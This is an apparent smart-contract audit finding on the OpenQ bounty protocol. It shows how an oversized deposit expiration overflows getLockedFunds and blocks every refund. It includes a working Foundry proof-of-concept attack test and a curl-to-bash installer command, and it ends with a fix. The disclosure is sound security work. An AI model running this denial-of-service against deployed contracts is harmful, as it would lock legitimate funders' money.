0xdeadbeef

high

# Overflow in getLockedFunds prevents refunds.

## Summary

The protocol allows funders to get a refund if the expiration date of the funding is over (expired)

During refunds the total locked funds of the token refunded is calculated to make sure there is enough available funds. 

A malicious actor can take advantage of the way locked funds are calculated and create an overflow by funding (for free/almost free) with a very large `expiration` parameter set. 

This will cause the function that calculates the locked funds to revert and therefore anybody trying to refund will have their transaction reverted.

Funders will not be able to withdraw their funds. The impact is relevant for all types of bounties.

## Vulnerability Detail

Funding is managed and allowed by anyone through `DepositManagerV1` using the `fundBountyToken` function.
Anyone can supply any volume of funds that are either ERC20 tokens or native MATIC.
Additionally `fundBountyNFT` can be used to achieve the same impact. For the flow, we will focus on sending native MATIC.

https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/DepositManager/Implementations/DepositManagerV1.sol#L36-L56

As can be seen above, the `receiveFunds` function is called on the bounty contract.
```solidity
    function receiveFunds(
        address _funder,
        address _tokenAddress,
        uint256 _volume,
        uint256 _expiration
    )
        external
        payable
        virtual
        onlyDepositManager
        nonReentrant
        returns (bytes32, uint256)
    {
        require(_volume != 0, Errors.ZERO_VOLUME_SENT);
        require(_expiration > 0, Errors.EXPIRATION_NOT_GREATER_THAN_ZERO);
-------
        depositTime[depositId] = block.timestamp;
        expiration[depositId] = _expiration;
-------
    }
```

Note that any user controlled `_expiration` will be set in `expiration[depositId]`.

In order to create a minimal deposit a malicious actor can either:
1. Supply 1 WEI of MATIC - practically free
2. Supply 1 WEI of whitelisted ERC20 - practically free
3. Supply a custom hacker controlled ERC20 token with any amount - free

For this scenario lets supply `1 WEI` of `MATIC` with `_expiration` set to `type(uint256).max`.

In order to refund, `refundDeposit` is called in `DepositManagerV1`
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/DepositManager/Implementations/DepositManagerV1.sol#L171
```solidity
    function refundDeposit(address _bountyAddress, bytes32 _depositId)
        external
        onlyProxy
    {
        address depToken = bounty.tokenAddress(_depositId);
------
        uint256 availableFunds = bounty.getTokenBalance(depToken) -
            bounty.getLockedFunds(depToken);
------
        bounty.refundDeposit(_depositId, msg.sender, volume);
------
    }
```

Note that `bounty.getLockedFunds(depToken)` is called to calculate the total locked funds of `depToken`
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/BountyCore.sol#L333-L352

The function iterates on EVERY token deposited to it. It will eventually hit the malicious actor supplied deposit.
Since the malicious actor was able set `expiration[depList[i]]` to maximum size (`type(uint256).max`) because of no upper limit, an overflow will happen in the following addition:
```solidity
depositTime[depList[i]] + expiration[depList[i]]
``` 

## Impact

Legitimate funders will not be able to withdraw their funds. 

Actor can be anybody, it can be:
1. Random user that wants to cause damage
2. Claimer needing more time to claim
3. Issuer locking funds of other organizations that contributed
4. Legit funder that "donates" funds and therefore sets expiration date to never (type(uint256).max)

## Code Snippet

### Foundry POC 

I created a foundry POC that demonstrate end to end scenario.
To get it running, first install foundry using the following command:
1. `curl -L https://foundry.paradigm.xyz | bash` (from https://book.getfoundry.sh/getting-started/installation#install-the-latest-release-by-using-foundryup)
2. If local node is not already running and contracts are not deployed, configured and funded - execute the following:
```bash
yarn deploy-contracts:localhost
yarn configure-whitelist:localhost
yarn deploy-bounties:localhost
```
3 Perform the following set of commands from the repository root.
```bash
rm -rf foundry; foundryup; mkdir foundry; cd foundry; forge init --no-commit; cp -r ../contracts ./src/; forge install openzeppelin/openzeppelin-contracts --no-commit; forge install openzeppelin/openzeppelin-contracts-upgradeable --no-commit; echo "@openzeppelin/contracts=lib/openzeppelin-contracts/contracts/\n@openzeppelin/contracts-upgradeable=lib/openzeppelin-contracts-upgradeable/contracts/" > remappings.txt
```
5. Add the following to `foundry/test/Hacker.t.sol
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {OpenQV1} from "../src/contracts/OpenQ/Implementations/OpenQV1.sol";
import {ClaimManagerV1} from "../src/contracts/ClaimManager/Implementations/ClaimManagerV1.sol";
import {DepositManagerV1} from "../src/contracts/DepositManager/Implementations/DepositManagerV1.sol";
import {BountyCore} from "../src/contracts/Bounty/Implementations/BountyCore.sol";

contract Hacker is Test {
    // Addresses of contracts
    OpenQV1 OPENQ = OpenQV1(0x5FC8d32690cc91D4c39d9d3abcBD16989F875707);
    ClaimManagerV1 CLAIM_MANAGER = ClaimManagerV1(0x2279B7A0a67DB372996a5FaB50D91eAA73d2eBe6);
    DepositManagerV1 DEPOSIT_MANAGER = DepositManagerV1(0xB7f8BC63BbcaD18155201308C8f3540b07f84F5e);

    // Bounties
    string atomicBountyWithGoalId = "I_kwDOGWnnz85GjwA1";
    BountyCore bountyAddress;

    //oracle
    address oracle;

    function setUp() public {
        bountyAddress = BountyCore(OPENQ.bountyIdToAddress(atomicBountyWithGoalId));
        oracle = CLAIM_MANAGER.oracle();
    }

    // Helped to deposit funds to bounty
    function fundBountyToken(uint256 amount, uint256 expire) public {
        DEPOSIT_MANAGER.fundBountyToken{value: amount}(
        address(bountyAddress),
        address(0), // MATIC
        amount,
        expire,
        string(abi.encodePacked(msg.sender)) // Unique for every funder
        );
    }

    // Helper to generate deposit ID
    function generateDepositId() internal view virtual returns (bytes32) {
        return keccak256(abi.encode(atomicBountyWithGoalId, bountyAddress.getDeposits().length));
    }

    function test_preventRefund() public {
        uint256 legit_funder_expire = 100; // expire in 100 seconds
        uint256 legit_funder_deposit_amount = 10 ether; // 10 ETH will be used for funding

        // Fund bounty with 10e18 MATIC by legit funder
        address legit_funder = vm.addr(0x1337);
        vm.deal(legit_funder, 10 ether);
        bytes32 legit_funder_deposit_id = generateDepositId();
        vm.prank(legit_funder);
        fundBountyToken(10 ether, legit_funder_expire);

        // Validate bounty has successfully received 10 ETH legit funds
        assertEq(address(bountyAddress).balance, legit_funder_deposit_amount);

        // hacker funds 1 WEI of MATIC
        fundBountyToken(1, type(uint256).max);

        // go 100 seconds into the future
        skip(legit_funder_expire);

        // 100 seconds have passed, Attempt to refund legit deposit
        // Transaction will revert. Legit funder funds are locked. 
        vm.prank(legit_funder);
        vm.expectRevert(stdError.arithmeticError); // Expect overflow error
        DEPOSIT_MANAGER.refundDeposit(address(bountyAddress), legit_funder_deposit_id);  

        // validate funds are still in bounty contract 
        assertEq(address(bountyAddress).balance, legit_funder_deposit_amount + 1);
    }
}
```
6. Execute `forge test -m test_preventRefund --fork-url=http://127.0.0.1:8545 `

## Tool used

VS Code, Foundry
Manual Review

## Recommendation

Consider setting an upper limit check in the `receiveFunds` and `receiveNft` to `type(uint64).max` which should be more then enough:
```solidity
        require(_expiration <= type(uint64).max, "Expiration to large");
```